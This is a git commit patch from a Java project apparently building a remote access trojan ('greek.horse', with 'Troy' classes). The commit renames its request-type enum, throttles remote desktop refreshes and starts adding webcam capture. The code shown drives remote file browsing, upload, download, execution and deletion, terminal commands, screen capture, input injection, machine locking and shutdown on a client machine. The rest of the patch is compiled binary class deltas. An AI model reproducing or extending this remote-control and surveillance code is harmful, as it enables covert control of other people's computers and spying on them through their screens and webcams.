From c2a3cf9a7854d09c0b65bc470d6a7cb7fcbe610b Mon Sep 17 00:00:00 2001 From: mainSpi Date: Wed, 19 Jan 2022 19:55:02 -0300 Subject: [PATCH] refactoring & fixed excessive DESKTOP_REFRESH requests & begin adding webcam stuff --- .../horse/client/ClientSocketManager.java | 2 +- .../greek/horse/models/FunctionTicket.java | 16 +++--- .../horse/models/MonitorDesktopWrapper.java | 3 +- ...Function.java => RequestFunctionType.java} | 6 ++- .../horse/server/troyStructure/TroyPlebe.java | 42 +++++++-------- .../request/RecurrentTroyRequest.java | 4 +- .../request/UniqueTroyRequest.java | 4 +- .../ui/controllers/HorseController.java | 1 - .../ui/controllers/WebcamController.java | 4 ++ .../controllers/tasks/MonitorDesktopTask.java | 12 ++++- src/main/resources/scenes/webcam.fxml | 49 ++++++++++++++++++ .../horse/client/ClientSocketManager$1.class | Bin 2402 -> 2418 bytes .../horse/client/ClientSocketManager.class | Bin 23118 -> 23134 bytes .../greek/horse/models/FunctionTicket.class | Bin 2003 -> 2023 bytes .../horse/models/MonitorDesktopWrapper.class | Bin 1505 -> 1505 bytes .../greek/horse/models/RequestFunction.class | Bin 1811 -> 0 bytes .../horse/models/RequestFunctionType.class | Bin 0 -> 2016 bytes .../server/troyStructure/TroyPlebe.class | Bin 10202 -> 10218 bytes .../request/RecurrentTroyRequest.class | Bin 2821 -> 2833 bytes .../request/UniqueTroyRequest.class | Bin 3398 -> 3410 bytes .../ui/controllers/HorseController.class | Bin 23079 -> 23079 bytes .../tasks/MonitorDesktopTask$1.class | Bin 2174 -> 2135 bytes .../tasks/MonitorDesktopTask.class | Bin 10544 -> 11005 bytes target/classes/scenes/webcam.fxml | 49 ++++++++++++++++++ 24 files changed, 152 insertions(+), 40 deletions(-) rename src/main/java/greek/horse/models/{RequestFunction.java => RequestFunctionType.java} (64%) create mode 100644 src/main/java/greek/horse/server/ui/controllers/WebcamController.java create mode 100644 src/main/resources/scenes/webcam.fxml delete mode 100644 target/classes/greek/horse/models/RequestFunction.class create mode 100644 target/classes/greek/horse/models/RequestFunctionType.class create mode 100644 target/classes/scenes/webcam.fxml diff --git a/src/main/java/greek/horse/client/ClientSocketManager.java b/src/main/java/greek/horse/client/ClientSocketManager.java index 32c3e2c..53c5ab0 100644 --- a/src/main/java/greek/horse/client/ClientSocketManager.java +++ b/src/main/java/greek/horse/client/ClientSocketManager.java @@ -147,7 +147,7 @@ public class ClientSocketManager { private Object answerTicket(FunctionTicket ticket, Object o) { try { - RequestFunction f = ticket.getFunction(); + RequestFunctionType f = ticket.getFunction(); switch (f) { case NET_INFO: diff --git a/src/main/java/greek/horse/models/FunctionTicket.java b/src/main/java/greek/horse/models/FunctionTicket.java index 21496f0..a3bfd87 100644 --- a/src/main/java/greek/horse/models/FunctionTicket.java +++ b/src/main/java/greek/horse/models/FunctionTicket.java @@ -4,12 +4,12 @@ import java.io.Serializable; import java.util.Objects; public class FunctionTicket implements Serializable { - private final RequestFunction requestFunction; + private final RequestFunctionType requestFunctionType; private final String id; private final boolean fixed; - public FunctionTicket(RequestFunction requestFunction, String id, boolean fixed) { - this.requestFunction = requestFunction; + public FunctionTicket(RequestFunctionType requestFunctionType, String id, boolean fixed) { + this.requestFunctionType = requestFunctionType; this.id = id; this.fixed = fixed; } @@ -17,7 +17,7 @@ public class FunctionTicket implements Serializable { @Override public String toString() { return "FunctionTicket{" + - "function=" + requestFunction + + "function=" + requestFunctionType + ", id='" + id + '\'' + ", fixed=" + fixed + '}'; @@ -28,20 +28,20 @@ public class FunctionTicket implements Serializable { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; FunctionTicket that = (FunctionTicket) o; - return requestFunction == that.requestFunction && Objects.equals(id, that.id); + return requestFunctionType == that.requestFunctionType && Objects.equals(id, that.id); } @Override public int hashCode() { - return Objects.hash(requestFunction, id); + return Objects.hash(requestFunctionType, id); } public String getId() { return id; } - public RequestFunction getFunction() { - return requestFunction; + public RequestFunctionType getFunction() { + return requestFunctionType; } public boolean isFixed() { diff --git a/src/main/java/greek/horse/models/MonitorDesktopWrapper.java b/src/main/java/greek/horse/models/MonitorDesktopWrapper.java index 512aa69..c4185e0 100644 --- a/src/main/java/greek/horse/models/MonitorDesktopWrapper.java +++ b/src/main/java/greek/horse/models/MonitorDesktopWrapper.java @@ -6,10 +6,9 @@ public class MonitorDesktopWrapper implements Serializable { private final double width; private final double height; private final boolean compressed; - private int monitor; + private final int monitor; public MonitorDesktopWrapper(double w, double Height, boolean compressed, int monitor) { - this.width = w; this.height = Height; this.compressed = compressed; diff --git a/src/main/java/greek/horse/models/RequestFunction.java b/src/main/java/greek/horse/models/RequestFunctionType.java similarity index 64% rename from src/main/java/greek/horse/models/RequestFunction.java rename to src/main/java/greek/horse/models/RequestFunctionType.java index 41363f5..3c041d1 100644 --- a/src/main/java/greek/horse/models/RequestFunction.java +++ b/src/main/java/greek/horse/models/RequestFunctionType.java @@ -2,12 +2,12 @@ package greek.horse.models; import java.io.Serializable; -public enum RequestFunction implements Serializable { +public enum RequestFunctionType implements Serializable { NET_INFO, - CHAT_MESSAGE, CHAT_START, + CHAT_START, CHAT_MESSAGE, RELEASE, @@ -15,6 +15,8 @@ public enum RequestFunction implements Serializable { DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT, + WEBCAM_START, WEBCAM_REFRESH, WEBCAM_COUNT, + FILES, TERMINAL_START, TERMINAL_COMMAND diff --git a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java index f893c88..5704fd6 100644 --- a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java +++ b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java @@ -49,35 +49,35 @@ public class TroyPlebe { } public UniqueTroyRequest getNetInfo() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.NET_INFO, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.NET_INFO, true); requests.add(req); return req; } public UniqueTroyRequest getDisconnect() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.DISCONNECT, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.DISCONNECT, false); requests.add(req); return req; } public void doStop() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.STOP, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.STOP, false); requests.add(req); } public void doToggleLock(boolean lock) { - UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunction.LOCK, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunctionType.LOCK, false); requests.add(req); } public RecurrentTroyRequest startScreenCapture(MonitorDesktopWrapper wrapper) { - RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunctionType.DESKTOP_START); requests.add(req); return req; } public void sendUserInputs(ArrayList inputs) { - UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunction.USER_INPUT, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunctionType.USER_INPUT, false); requests.add(req); } @@ -98,87 +98,87 @@ public class TroyPlebe { } public UniqueTroyRequest getDrives() { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest getFiles(Path dir) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest runFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest uploadFile(Path path, String fileName, byte[] bytes) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest getKnownFolders() { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest deleteFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest downloadFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunctionType.FILES, true); requests.add(req); return req; } public TroyRequest startTerminal() { - RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.TERMINAL_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.TERMINAL_START); requests.add(req); return req; } public Object startChat() { - RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.CHAT_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.CHAT_START); requests.add(req); return req; } public void sendTerminalCommand(String command) { - UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunction.TERMINAL_COMMAND, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunctionType.TERMINAL_COMMAND, false); requests.add(req); } public void sendChatMessage(String message) { - UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunction.CHAT_MESSAGE, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunctionType.CHAT_MESSAGE, false); requests.add(req); } public void releaseRequest(RecurrentTroyRequest request) { - UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunction.RELEASE, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunctionType.RELEASE, false); requests.add(req); request.getReleased().set(true); } public void refreshDesktop(MonitorDesktopWrapper wrapper) { - UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunction.DESKTOP_REFRESH, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunctionType.DESKTOP_REFRESH, false); requests.add(req); } public void turnOff() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.TURN_OFF, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.TURN_OFF, false); requests.add(req); } public UniqueTroyRequest getMonitorCount() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.MONITOR_COUNT, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.MONITOR_COUNT, true); requests.add(req); return req; } diff --git a/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java b/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java index 87d6e0b..02b77d0 100644 --- a/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java +++ b/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java @@ -1,6 +1,6 @@ package greek.horse.server.troyStructure.request; -import greek.horse.models.RequestFunction; +import greek.horse.models.RequestFunctionType; import greek.horse.models.FunctionTicket; import javafx.collections.FXCollections; import javafx.collections.ObservableList; @@ -17,7 +17,7 @@ public class RecurrentTroyRequest implements TroyRequest { private final AtomicBoolean sent = new AtomicBoolean(false); - public RecurrentTroyRequest(Object sendObj, RequestFunction f) { + public RecurrentTroyRequest(Object sendObj, RequestFunctionType f) { this.sendObj = sendObj; this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), true); } diff --git a/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java b/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java index 4671e50..9ed7bdc 100644 --- a/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java +++ b/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java @@ -1,6 +1,6 @@ package greek.horse.server.troyStructure.request; -import greek.horse.models.RequestFunction; +import greek.horse.models.RequestFunctionType; import greek.horse.models.FunctionTicket; import greek.horse.server.troyStructure.TroyPlebe; import org.apache.log4j.Logger; @@ -18,7 +18,7 @@ public class UniqueTroyRequest implements TroyRequest { private final boolean haveResponse; private static final Logger log = Logger.getLogger(UniqueTroyRequest.class); - public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunction f, boolean haveResponse) { + public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunctionType f, boolean haveResponse) { this.father = father; this.sendObj = sendObj; this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), false); diff --git a/src/main/java/greek/horse/server/ui/controllers/HorseController.java b/src/main/java/greek/horse/server/ui/controllers/HorseController.java index 9f37639..b9afce9 100644 --- a/src/main/java/greek/horse/server/ui/controllers/HorseController.java +++ b/src/main/java/greek/horse/server/ui/controllers/HorseController.java @@ -1,7 +1,6 @@ package greek.horse.server.ui.controllers; import greek.horse.models.NetInfo; -import greek.horse.models.OS; import greek.horse.server.troyStructure.NetInfoTable; import greek.horse.server.troyStructure.TroyPlebe; import greek.horse.server.troyStructure.TroyServer; diff --git a/src/main/java/greek/horse/server/ui/controllers/WebcamController.java b/src/main/java/greek/horse/server/ui/controllers/WebcamController.java new file mode 100644 index 0000000..a5cd2b5 --- /dev/null +++ b/src/main/java/greek/horse/server/ui/controllers/WebcamController.java @@ -0,0 +1,4 @@ +package greek.horse.server.ui.controllers; + +public class WebcamController { +} diff --git a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java index 144a664..aeb30ff 100644 --- a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java +++ b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java @@ -9,9 +9,11 @@ import greek.horse.server.ui.controllers.MonitorDesktopController; import javafx.application.Platform; import javafx.collections.ListChangeListener; import javafx.collections.ObservableList; +import javafx.event.EventHandler; import javafx.fxml.FXMLLoader; import javafx.scene.Parent; import javafx.scene.Scene; +import javafx.scene.input.MouseEvent; import javafx.stage.Stage; import org.apache.log4j.Logger; @@ -59,6 +61,14 @@ public class MonitorDesktopTask implements Runnable { controller.setStage(stage); controller.setTask(this); + EventHandler event = mouseEvent -> { + if (running.get()) { + refreshSettings(); + } + }; + scene.setOnMouseEntered(event); + scene.setOnMouseExited(event); + stage.show(); } catch (IOException e) { @@ -158,7 +168,7 @@ public class MonitorDesktopTask implements Runnable { timer.scheduleAtFixedRate(new TimerTask() { @Override public void run() { - refreshSettings(); +// refreshSettings(); Platform.runLater(() -> { controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000))); }); diff --git a/src/main/resources/scenes/webcam.fxml b/src/main/resources/scenes/webcam.fxml new file mode 100644 index 0000000..f995132 --- /dev/null +++ b/src/main/resources/scenes/webcam.fxml @@ -0,0 +1,49 @@ + + + + + + + + + + + + +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/target/classes/greek/horse/client/ClientSocketManager$1.class b/target/classes/greek/horse/client/ClientSocketManager$1.class index b125340758eab22f864d618e01877387af32b72f..b9b3b4a34b4a70b1162b4340a745cc5254895b5a 100644 GIT binary patch delta 102 zcmaDP^hs#L6DCHriH^dPe=za0hg24%GBRjSUdJd7;tPTJ)|?C+46Zy3ZVWt(42F~K wm~~}9!ki2a3?4iTo(x`$3><#0A@QDmZvKo68k09Nih%U8fD~6}? h!NcIm;Kj(m;pZ9>@9F2}&&Z%MS&&(I^ET!^tN^9$5IX<> diff --git a/target/classes/greek/horse/client/ClientSocketManager.class b/target/classes/greek/horse/client/ClientSocketManager.class index 956d6f610ddbb11f79e39b065912bbb83a24b570..04455340f754635d804ba86ef633de6f0e1ed872 100644 GIT binary patch delta 113 zcmX@Nh4J1N#tkLh%vu_nlRuh>Oz!69X9=k+NS!>3+nUjEvVn-4Mo?;DX=-taTWMZ$ zNoIZ?NS2X-DcX~Z;Vr{Ec82#n3?CS-GBT)5PUI1W>)&j}6QVr%BA+NiWRw0JEdYWv BC7S>M delta 85 zcmcb&h4I`L#tkLh%xW5%lNn7#Ca>4$pFEG-no)PMjfmXjAKd(+j0{ZCo?HxX8Q!ro jyys!~z;Kn3L22?sd0~*+&2Bs)%8V*7t(y<&&(Q(^dypD| diff --git a/target/classes/greek/horse/models/FunctionTicket.class b/target/classes/greek/horse/models/FunctionTicket.class index 4ad375db6bf8731df231c5cf11ccd696e639ee00..f61aea160dcf9c304d0c6e12348ceb8186705d17 100644 GIT binary patch delta 91 zcmcc2|D1n9j<|49YGG+=afw@LUUErheqKmrK`JAI#$*R(Wfl;7;-W+*e*|~32ICth ZI|P5TB@+uHqt;|QW>v8A&B@FKEC7fF99;ka delta 65 zcmaFPf0=(mjxc{wYGG+=afw@LUUErhejX!(%H#lM<%z2j8NDYfGO0{9VSK}A1!8UX TWMW}tRGaL_th%|Jxqt-#+LRO1 diff --git a/target/classes/greek/horse/models/MonitorDesktopWrapper.class b/target/classes/greek/horse/models/MonitorDesktopWrapper.class index a5241046c0e4f43d1952d77d7e51de172e53cc52..c2dd1d0756539512657a6e2438293800cdfcc9d1 100644 GIT binary patch delta 77 zcmaFJ{g8XZeP%|X$q$%)1bG-Z8F(4^fKY^ipFxU2V6rVs3ZwAk`z)f9x3j1-iUV0T YjM8AfA*(v0JeZZoYQd;7c{!^U0N3&p5C8xG delta 77 zcmaFJ{g8XZeP%|c$q$%)1bG=a8Tf#ZpFxB{fI*5uaI!5+3Zuy6`z)f9x3j1-N&s0l Yj51)pA*(v00+^M@YQd;Fc{!^U0M#lJ3IG5A diff --git a/target/classes/greek/horse/models/RequestFunction.class b/target/classes/greek/horse/models/RequestFunction.class deleted file mode 100644 index 599be8a0b2c42d91ead4c60aacf47fb13b843c5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1811 zcma)7ZBrXn6n<_9dE*Aw6k926wFre!OQb@jK#??T+LX;M-J77XYPzH=T@1;Xmwxc) z_zUWG#yUDW{p|Rg9M3($600*3hCDpyZO=XD*~{;L{`?z&b@)j{FcL>pViYlfnZu6n zf0KLK?sWa!ar=qi?B-nm+rHoJ75lA5FKD*};} zCqpjr_EVP*eR)kW7}qd6Rt~SwdV%4TB*8r-6|5e>)cNy?r3+O zx~eMEr8(_YxvPRiUVBWcT6XMG#c}Her)snFo`k8LCDKB%WSL6W+Lb72W0{s-G2L>> z&ReIAI1**;eJEhO_7@3t+oHqOZF^k5Xe~VhS%Kps5NTqq+Yb;9n*s{|JE-x z(R&(D*GUx|w!B`yLvbSu*?rpfW}|tcUu!5)t9f+lBO9+!HgtXMiM9^36haS$VkFtB#kkWm>5YqjHD7q z5(XnlfRR=W7#H=GMYmWKN$lfO>gF?IGlcq+3L$<({1p<Hp0apRFwYb6WLvyRhhXFBz2+ilc~-#m2$f|tsvTuHYC68Cc_OInQ} zgm4f6i3mmnhO4zkol2dGCvr#jb30kH>jz15|H!GfDK?7HAjTv#j0=qR1N3_5nAU%8 z*E){*SYSCmke#mCt=8&*!D=_%`oZep3aS9tpO83(_XGlKZryFK3rr4{>SbmV{5dndqiml@EGpYF*{q_ut8AZ2EGyd$f#{ZQ?U1?O>8ivH<-92{_K&lmX9~Kt zt#Ut?xT)MJ>Z)Yv1v;zU5_grBNGXp_Rr98iEt-YBv{^FPc}qf9&MfW!uD+R0<@+n{ zNMw~SPxs&R4J>F%OX805l}KfoY)-dShj%4P%2=UtMZJ*E8mU}=vHKDg z<$WNaz4fNed_HAtsq8(82bd1RCc&~8-A2-Knyy`QzqR*kq~icfvL!GdKlx11>8EMT z=uC5N-7z}H`%bgit+)0LH6~7~HGx>JQMGGjn_8sydNuuZ`tljH}M@%sU>N1$EpT zi*yH32z-T!jVU#F03po|Bh3jT4F)5P0VBztk)+N@@@6C@Gm>N(NuZ3RMMlycBPooL z)Wk>vVkD_Bk|Y4_ta?1@J@q4ueN?H-N5p0b)hFUX{Dj~egnl3<;L!g7`-UlA!(;lc z;+NoKYb55I`x){Ld@A1eulNJ9$Zix4;j*9JFp5$Y7BNJBKyYsU+)KoMWcT25{q!J? zRO@)cF*SObk5TJ3BEF}M&_{gz8oo+wa_A+_yucKbbABcln0zqIWQNJ50FzlJ@gS2q zCLe{EEHL?4>&9JUwxo3fuQU5h>qf3HThqdvx6W)si!j?{wxx|Q%P`y4B(vMha$1y` z!E9F>WmaHT)W(>VnSG&Y%cOS`yTQzWmWthE?AXe4>MLJ;9=IP1U<}I zm5_%8tD=$V8Ufj^6OeI*AnakCfUbR$V8la)Kzg`M5cOaXjCv>#jCm*%XddnnjC*)! zy?{{H)>X+Y=>v2%QToBWLifIeQMxt_-yw$I>9^|-OyW<{p09U}bu=j6ho^r7KZ>kg literal 0 HcmV?d00001 diff --git a/target/classes/greek/horse/server/troyStructure/TroyPlebe.class b/target/classes/greek/horse/server/troyStructure/TroyPlebe.class index 6bce4e38a758d41d1e5ef18266a867e06321b2e1..bf9d5002cb22497eb7c98d377cca18ff23096891 100644 GIT binary patch delta 93 zcmccR|H^;E7Zygf$;a80ghDC{QW+UI{9HrgJ^kGL85uMtA7fJ%1_@hpG59e=^DwY7 r#4s{sX-qEUQ=0sXnQL-0t0@aee)101UyQbsH?x_6xtm|IeN+GdK0h5; delta 75 zcmV-R0JQ(=Pufqg^aKGSlb!`44gmlNPDNB-Nlr#j0RSYEodqKgI|=|!09y*`U47+iv=~4#0B~RIg`HzHnaH#@gOe=7MuV8 diff --git a/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class b/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class index ef71abbc4fa6ef16e2600a28c971fba8da2db6c3..65956f2fc98c310f9dc504e6ca70ed59c27130c0 100644 GIT binary patch delta 54 zcmZn_n<%#79}|q)uMI(!dCo1#>sMupVRu E0I>ZJxBvhE delta 44 ycmbOz)+)B)9}|<6#^gp8<;jig!kev_jTsp&C+D%4OmbxCSNH4~%VoecmV CdlA_H delta 57 zcmca4bxdkQH4~GS#^ei3B9krH`8O|Nn#IhNrZM>;o6=+hMy|;@Y^IZ!vehxFz*Ts& Hv$FvJ8_5wb diff --git a/target/classes/greek/horse/server/ui/controllers/HorseController.class b/target/classes/greek/horse/server/ui/controllers/HorseController.class index fcd6a1b6823a65f766559f5e863f9ad4c0afb141..4b77c08a7272e64e944d674c1d5b4cd112386946 100644 GIT binary patch delta 1057 zcmW-gdr*{R6vm(DTTv7@Tw#}sF1j&@Buhm>M2^6!h_MLl?#J#LhzcaADVUivilCE~ zmnq>aS<_yub5)=REVgy?yNM z; zh&vD#M^R5kwRYEF5^A-w6ggOid@R>{>a?>SUaWv0jd%zvWw>aw?Gae92FX|pCz|0x zi!^!`Ti5FyZHUM7NJO_>@QmEu0~_`!^CB{^UvGU$r+XP?cm-h`Km%Sy3tmGjda(m< zXy2PMGIxjbElj{6WZ^LG!`mo81oP3SbM))X??~6YhNz>6!n<;7-cHwX#NY%RIH}XT zhcvv8Y@E?AokA{7s~=}&z}p}bi%t87N)D(mA7dIm!gO5FO$TK|@e%uHdh)qezr^hr zQdho!8(+y_Nm!m+VA?P0=_O3T_ejCFN`0rhT<$74X1}5bSG90m+pcNbh_?L{87%2w z+t2F6FG#`-%)qZm$4%Uc-_`X$)Z;&~1h>$Hzty=>Y$33V#BPqkUPfU*$KnLX;XKD< zh!b#`G5CSE;Ra*z4<~UfZH!}_B?zDz;{nE7LYA=p`|sCQOAUx<`R2i4R{~;~2nUmp z%w(i-3bHv3IdmeIDJZ1te`kukt6XVH&QLO4$(c%KDCt&mmXeuDW<>_PhNUfAv3nG| z7pcs_EaobfhdIp00hZz*z368dPI3{>u^gYU0>iA-1$?+pKW;LBQJRcqm97wEGDA#d znCUEKCaaml8ZPG&cC(hRb14sT8T(nsQ>^DjHt@%6KFq(^XvDM0n97yLU0iJ}WSvpY zW+TKFqn7K8dTuaQaJ|vU$BcD+Jknm_p?#Ciy&17=!(_H1j$7bly9`xs<0V<_^U779 zLyq~}lIeHIsOnl(kKZjvRJW`Crg}~_FW``vfLk`HE>b>P7O+zhNMG2s0y%CrU!l8 zCXWW6c0QpA+pdrINe%W>8t7fPUmr?7c47{8OJZoF)vrM_l?q@Ys^o=G86SvT3(e-g DFyR4w delta 1057 zcmW-geN5GL6vm(DM<@vlFL1AbfFKjXxL6dZWpcR^qFog33-?0dTaXZ?h||~-0h{Jq zOZcjj7R$`fa3w6q_hYt<78;xeXXq#;VqOlQ4XhI4$Asx-8 z-d!ENMQ^kt9^FX56XvXY^5!1c@RXRN$i~xp^%+(8EXr^URd`PC9#?iRTG59+cpgXa zf|*>hC*=gD;UseL66T{Hg&4%07*ZWCtL|4!S8-kVYY4~d=I`RY>8BBiGjQNdRr40+ z;BDmLef{ZO6yQC$Fl_0rk>)arSvZR{e5_7CFdR}3J70>&vWHwqi@j+`DYps>sWQEvl zt>$K{mJeC$xy7pIR;!sU1MTH*+PA6hR>ZI!vD}V0wjqTbW~^cdCrq{1!#>mGvzt?1 zr#bF*m}}AtQn$}(a(oW6Q@T+)EbW&@`km&obcJ+*-(fnX4@*Cjz9F3v$YqZy3A845 zXwi1aIFHL42e1GKwVH=y<-_LdKno9=KxIR8rxvkGMlmu;r}?nb&n}Y|^zsq2Ik-Dz xryRCR%loK|y<3LfkA>K)#oUL*c+4b(TB7|jTBWD}q7XDap)xKS_$joA{{jL!0ssI2 diff --git a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class index 094d54bc2fce41c5d57aaeb9d5a6506a5139fec0..8e6b83096e29fda1c48e182ca559829eecaee327 100644 GIT binary patch delta 527 zcmZ9HyH8V59LGQB-rgQ_?@3ddDk4>{j}}|-g@`DxDxkc40=^}2=q3zybm+={CYR0( zqG?K+h5>gMNB#vzcN608ToMOQ^2_->KfmwqFnf>9syV_{!Fg~6DTI_fG#$swt)m491tF|0D&|O3;zHU6L&7%vNP^n5$9fso@8dunKR$_&CK`YdeZ%}zWNy$Vs^8X~?nF4y#3P8@{I7(8G57O^vmr$r}pn zu+z?DqDV>8XXs}@QLsN_1^dHEc)Qu7*=yLxfc@+lg6)o%6PI1CFr~R_xW@J62k{o=-*R!dZ5ZRU!i-lcL3Q-mY^@g5 zG}DT_{S|MwUz>Gn@5J2P)0Zza_Y_?l*}?b-isRPP`GpfQUbDR5EhojNg%?tca!O)& zi%0)THjoNYk~>dRgvgdwP<6JHBx*5ll@4gowIoFjA$5Y7_;+aDli^b&Vg7<6i3O5Q zIK&3?j1)ErAQv*P(A!sMXMX&C<9@JW+oU= z8iMtK_~dE}1QCmtlxigeQ$U5*`ao=zwzj@n?MrK|eXH1_w(Fc3$MlEId^u;I$6kBw zz0clv@A>av7(DjDp~C8@~h@FJnXbPmeL_salOl4 zkM%`YN8>4?Y_6fPw7br(>zd7OOM84tN3_$sue7XZ`p2JVkCK-~l-hh52W%zr3ORuV(9SF7M~wP#*sg$I*t9 zGm}uD^J@?ijR-cP5t}dz zH=+eM$+eqB_8u(3ZY0o;>o8z3Ti}<@#tdc%Yq_0w$W8<+xI&f#7B zrmW7#+1$mukuS_iyocYaL4dmjWFntd=$AtJ@Y{00!Top|j+~o6X3V^goZBz54-CuM zh%6C@d-xp%#h@C;L(<;Ed$n_)b{u|Jk{X1@&E6wp7T5r!-@`%OJtPMn#7sP7u`A^U zFe{5)pLKFv#z|rtrW-8XtCKYoXkYDqxO=TJLs+IX9vPMiUm7s%sAzn9Et73yH&`ZT zp-`7^Q4Bn#@iwLRc9dW%8uT(+uw4PXL$7Nm7Gj5@bf@0WU3xvcvMFgn5eK+WMlV&u zw{TEWgF?NZ4+s;8WqdJ`Nra&m;}E|GCnAH3ctF9+$p$aIbFX&#yo1#Ze$~CDd!l-u zr8`sQ19XYzYSFwLmFUJq&6BZKLF~b7tjAnjfmU3pf>?*;+WU(3QkvIkUXNZ&yy9DZYn)L1Wof3bJ*@2Zc{9dWxrYlBTXihUb;bDd zhL0Z3N_iO{mWzUHF4XVRiR7ayzI@pk^bU_-(^Gqh-TK7kmH0~XhPWm@U3vNtdnV=% 